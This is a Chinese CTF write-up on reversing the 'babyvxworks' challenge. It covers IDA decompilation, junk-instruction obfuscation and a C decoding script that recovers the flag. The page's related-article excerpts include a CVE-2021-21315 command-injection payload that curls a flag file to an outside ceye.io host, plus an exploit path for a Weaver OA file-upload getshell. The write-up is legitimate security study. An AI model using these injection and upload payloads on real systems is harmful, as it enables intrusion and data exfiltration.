re学习(32)【绿城杯2021】babyvxworks(浅谈花指令)

链接:https://pan.baidu.com/s/1msA5EY_7hoYGBEema7nWwA
提取码:b9xf

wp:首先找不到main函数,然后寻找特殊字符串,

交叉引用

 

反汇编

 

主函数在sub_3D9当中,但是IDA分析错了

 

分析错误后,删除函数

 

 

创建函数

 

 

 

 

操作:与0x22异或,然后再加3

分析代码:
 

int sub_3D0()
{int v0; // ebxint v1; // eaxconst char *v2; // ebxint v4; // [esp+14h] [ebp-C4h]int v5; // [esp+18h] [ebp-C0h]int v6; // [esp+1Ch] [ebp-BCh]int v7[2]; // [esp+20h] [ebp-B8h] BYREFchar flag[52]; // [esp+28h] [ebp-B0h] BYREFchar v9[124]; // [esp+5Ch] [ebp-7Ch] BYREFsub_32B0(flag, 0, 48);sub_32B0(v9, 0, 120);v7[0] = 0;sub_2BF0(v7, flag, 48);sub_2BF0(v7, v9, 120);v5 = 0;qmemcpy(flag, dword_126F8, 0x30u);printf("Plz Input Flag: ");scanf("%s", flag);*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 0, 4) = 188;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 4, 4) = 10;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 8, 4) = 187;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 12, 4) = 193;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 16, 4) = 213;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 20, 4) = 134;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 24, 4) = 127;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 28, 4) = 10;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 32, 4) = 201;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 36, 4) = 185;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 40, 4) = 81;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 44, 4) = 78;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 48, 4) = 136;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 52, 4) = 10;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 56, 4) = 130;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 60, 4) = 185;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 64, 4) = 49;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 68, 4) = 141;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 72, 4) = 10;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 76, 4) = 253;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 80, 4) = 201;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 84, 4) = 199;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 88, 4) = 127;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 92, 4) = 185;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 96, 4) = 17;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 100, 4) = 78;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 104, 4) = 185;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 108, 4) = 232;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 112, 4) = 141;*(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 21, v9, 116, 4) = 87;v4 = strlen(flag);v0 = 0;if ( v4 <= 0 )goto LABEL_7;do{v1 = sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 24, flag, v0, 0);((void (__cdecl *)(int, int))sub_330)(v1, v4);// loc_330比较特殊。// 哦,我知道了,想这样loc开头的也是函数,只不过是以汇编形式展现的,想sub开头的是以反汇编形式展示的v6 = *(unsigned __int8 *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 26, flag, v0, 1);if ( *(_DWORD *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 26, v9, 4 * v0, 4) == v6 )++v5;++v0;}while ( v0 < v4 );if ( v5 == 30 )v2 = "Success";else
LABEL_7:v2 = "Try Again";sub_3350(v2);sub_2930(v7);return 0;
}
// a1是flag
// a2是flag的长度
int __cdecl sub_330(int a1, unsigned int a2)
{bool v3; // zfunsigned int v4; // eaxunsigned int v5; // eax_DWORD v6[2]; // [esp-4h] [ebp-18h] BYREF_BYTE *v7; // [esp+4h] [ebp-10h]_BYTE *v8; // [esp+8h] [ebp-Ch]int v9; // [esp+Ch] [ebp-8h]v9 = 0;if ( !a2 )return 1;v8 = (_BYTE *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 10, a1, 0, 1);*v8 ^= 0x22u;v7 = (_BYTE *)sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c", 11, a1, 0, 1);v3 = *v7 == 0xFD;*v7 += 3;if ( v3 || !v3 )goto LABEL_7;v4 = (unsigned int)v6 ^ 0x22;if ( ((unsigned int)v6 ^ 0x22) == v6[1] ){
LABEL_8:v5 = v4 - 1;                                // 这里是一个递归return sub_330(a1, v5);}v5 = ((int (*)(void))((char *)&loc_3D3 + 2))();if ( !v3 ){
LABEL_7:v4 = a2;goto LABEL_8;}return sub_330(a1, v5);
}

 

上脚本

#include <stdio.h>
#include <string.h>int main(void)
{int key[] = {188, 10, 187, 193, 213, 134, 127, 10, 201, 185, 81, 78,136, 10, 130, 185, 49, 141, 10, 253, 201, 199, 127, 185,17, 78, 185, 232, 141, 87};int i, j;for (i = 0; i < sizeof(key)/sizeof(int); i++){for (j = 0; j < sizeof(key)/sizeof(int); j++ ){key[i] -= 3;key[i] ^= 0x22;}printf("%c",key[i]);}return 0;
} 
#flag{helo_w0rld_W3lcome_70_R3}

 

总结:IDA无法识别函数(F5大法失效原因)

  1.堆栈指针问题

  2.花指令问题

 

 

 

 

 

 

 

 

 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/39051.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Linux】多线程1——线程概念与线程控制

文章目录 1. 线程概念什么是线程Linux中的线程线程的优点线程的缺点线程的独立资源和共享资源 2. 线程控制Linux的pthread库用户级线程 &#x1f4dd; 个人主页 &#xff1a;超人不会飞)&#x1f4d1; 本文收录专栏&#xff1a;《Linux》&#x1f4ad; 如果本文对您有帮助&…

无脑入门pytorch系列(三)—— nn.Linear

本系列教程适用于没有任何pytorch的同学&#xff08;简单的python语法还是要的&#xff09;&#xff0c;从代码的表层出发挖掘代码的深层含义&#xff0c;理解具体的意思和内涵。pytorch的很多函数看着非常简单&#xff0c;但是其中包含了很多内容&#xff0c;不了解其中的意思…

SpringBoot复习:(46)全局的bean懒加载是怎么实现的?

在application.properties中配置&#xff1a; spring.main.lazy-initializationtrue在运行SpringApplication的run方法时&#xff0c;代码如下&#xff1a; 其中调用了prepareContext,prepareContext代码如下&#xff1a; 当在配置文件中配置了spring.main.lazy-initializat…

JavaScript实现在线Excel的附件上传与下载

摘要&#xff1a;本文由葡萄城技术团队于CSDN原创并首发。转载请注明出处&#xff1a;葡萄城官网&#xff0c;葡萄城为开发者提供专业的开发工具、解决方案和服务&#xff0c;赋能开发者。 前言 在本地使用Excel时&#xff0c;经常会有需要在Excel中添加一些附件文件的需求&am…

Clickhouse基于文件复制写入

背景 目前clickhouse社区对于数据的写入主要基于文件本地表、分布式表方式为主&#xff0c;但缺乏大批量快速写入场景下的数据写入方式&#xff0c;本文提供了一种基于clickhouse local 客户端工具分布式处理hdfs数据表文件&#xff0c;并将clickhouse以文件复制的方式完成写入…

开源低代码平台Openblocks

网友 HankMeng 想看低代码工具&#xff0c;正好手上有一个&#xff1b; 什么是 Openblocks &#xff1f; Openblocks 是一个开发人员友好的开源低代码平台&#xff0c;可在几分钟内构建内部应用程序。 传统上&#xff0c;构建内部应用程序需要复杂的前端和后端交互&#xff0c;…

如何保证微信小游戏存档不丢失?

引言 微信小游戏的兴起为玩家提供了一个轻松便捷的娱乐方式&#xff0c;然而&#xff0c;存档丢失问题一直以来都是开发者和玩家关注的焦点。为了确保玩家的游戏体验和投入能够得到充分的保障&#xff0c;开发团队需要采取一系列方法来保障微信小游戏存档不丢失。本文将介绍一…

word之插入尾注+快速回到刚才编辑的地方

1-插入尾注 在编辑文档时&#xff0c;经常需要对一段话插入一段描述或者附件链接等&#xff0c;使用脚注经常因占用篇幅较大导致文档页面内容杂乱&#xff0c;这事可以使用快捷键 ControlaltD 即可在 整个行文的末尾插入尾注&#xff0c;这样文章整体干净整洁&#xff0c;需…

【枚举边+MST+组合计数】CF1857G

Problem - 1857G - Codeforces 题意&#xff1a; 思路&#xff1a; 首先观察一下样例&#xff1a; 可以发现对于每一对点&#xff0c;贡献是 s - 这对点对应的环的最大边 1 那么这样就有了 n^2 的做法 然后&#xff0c;根据惯用套路&#xff0c;枚举树上的点对问题可以转…

Prometheus的搭建与使用

一、安装Prometheus 官网下载地址&#xff1a;Download | Prometheus 解压&#xff1a;tar -zxvf prometheus-2.19.2.linux-amd64.tar.gz重命名&#xff1a; mv prometheus-2.19.2.linux-amd64 /home/prometheus进入对应目录&#xff1a; cd /home/prometheus查看配置文件&am…

OpenCV-Python中的图像处理-傅里叶变换

OpenCV-Python中的图像处理-傅里叶变换 傅里叶变换Numpy中的傅里叶变换Numpy中的傅里叶逆变换OpenCV中的傅里叶变换OpenCV中的傅里叶逆变换 DFT的性能优化不同滤波算子傅里叶变换对比 傅里叶变换 傅里叶变换经常被用来分析不同滤波器的频率特性。我们可以使用 2D 离散傅里叶变…

Unity Spine帧事件

SpinePro中添加事件帧 首先 选中右上角的层级树 然后选择事件选项 最后在右下角看到 新建 点击它 新建一个事件 点击左上角的设置按钮 弹出编辑窗口 编辑窗口 在右上角 动画栏 可以切换对应的动画 点坐边的那个小灰点来切换 亮点代表当前动画 选中帧 添加事件 点击对应事件…

突破防线!泛微OA任意文件上传Getshell

子曰&#xff1a;“巧言令色&#xff0c;鲜矣仁。” 漏洞复现 访问漏洞url&#xff1a; 存在漏洞的路径为 /weaver/weaver.common.Ctrl/.css?arg0com.cloudstore.api.service.Service_CheckApp&arg1validateApp漏洞利用&#xff1a; 漏洞证明&#xff1a; 文笔生疏&…

ubuntu 20.0.4 搭建nvidia 显卡环境

一、安装docker 1、安装dokcer sudo apt install docker.io2、docker 添加到用户组 创建docker用户组 sudo groupadd docker添加当前用户加入docker用户组 sudo usermod -aG docker ${USER}重启docker服务 sudo systemctl restart docker切换或者退出当前账户再从新登入 …

openGauss学习笔记-41 openGauss 高级数据管理-匿名块

文章目录 openGauss学习笔记-41 openGauss 高级数据管理-匿名块41.1 语法41.2 参数说明41.3 示例 openGauss学习笔记-41 openGauss 高级数据管理-匿名块 匿名块&#xff08;Anonymous Block&#xff09;是存储过程的字块之一&#xff0c;没有名称。一般用于不频繁执行的脚本或…

NPM与外部服务的集成(下)

目录 1、撤消访问令牌 2、在CI/CD工作流中使用私有包 2.1 创建新的访问令牌 持续整合 持续部署 交互式工作流 CIDR白名单 2.2 将令牌设置为CI/CD服务器上的环境变量 2.3 创建并签入特定于项目的.npmrc文件 2.4 令牌安全 3、Docker和私有模块 3.1 背景&#xff1a;运…

移远RM500U-CN模块直连嵌入式ubuntu实现拨号上网

目录 1 平台&#xff1a; 2 需要准备的资料 3 参考文档 4 编译环境与驱动移植 4.1 内核驱动添加厂家ID和产品ID 4. 2.添加零包处理 4.3 增加复位恢复机制 4.4 增加批量输出 批量输出 URB 的数量和容量 的数量和容量 4.5 内核配置与编译 5 QM500U-CN拨号&#xff08;在开…

春秋云镜 CVE-2021-21315

春秋云镜 CVE-2021-21315 systeminformation存在命令注入 靶标介绍 systeminformation是一个简单的查询系统和OS信息包。 启动场景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登录ceye.io平台&#xff0c;curl请求 http://eci-2zed871sr7xrdjb…

Lombok的使用及注解含义

文章目录 一、简介二、如何使用2.1、在IDEA中安装Lombok插件2.2、添加maven依赖 三、常用注解3.1、Getter / Setter3.2、ToString3.3、NoArgsConstructor / AllArgsConstructor3.4、EqualsAndHashCode3.5、Data3.6、Value3.7、Accessors3.7.1、Accessors(chain true)3.7.2、Ac…

JavaScript 中常用简写技巧总结

平时我们写代码时最高级的境界是自己写的东西别人看不懂&#xff01;哈哈哈&#xff01;分享一些自己常用的js简写技巧&#xff0c;长期更新&#xff0c;会着重挑选一些实用的简写技巧&#xff0c;使自己的代码更简洁优雅~ 这里只会收集一些大多数人不知道的用法&#xff0c;但…